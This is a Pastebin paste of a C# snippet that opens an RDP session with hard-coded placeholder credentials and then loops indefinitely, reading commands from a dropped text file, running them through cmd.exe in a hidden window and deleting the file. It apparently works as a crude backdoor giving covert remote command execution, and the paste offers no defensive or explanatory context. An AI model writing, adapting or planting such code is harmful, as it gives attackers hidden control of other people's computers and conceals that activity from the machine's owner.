Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- axMsTscAxNotSafeForScripting1.Server = "0.0.0.0";
- axMsTscAxNotSafeForScripting1.UserName = "Test";
- IMsTscNonScriptable secured = (IMsTscNonScriptable)axMsTscAxNotSafeForScripting1.GetOcx();
- secured.ClearTextPassword = "c";
- axMsTscAxNotSafeForScripting1.Connect();
- Thread.Sleep(2000);
- for(; ; )
- {
- if (File.Exists(b + "t.txt"))
- {
- Thread.Sleep(9000);
- string text = System.IO.File.ReadAllText(b + "t.txt");
- System.Diagnostics.Process proccccesss = new System.Diagnostics.Process();
- System.Diagnostics.ProcessStartInfo startIernfo = new System.Diagnostics.ProcessStartInfo();
- startIernfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
- startIernfo.FileName = "cmd.exe";
- startIernfo.Arguments = "/C " + text;
- proccccesss.StartInfo = startIernfo;
- proccccesss.Start();
- Thread.Sleep(2000);
- File.Delete(b + "t.txt");
- }
- }
Add Comment
Please, Sign In to add comment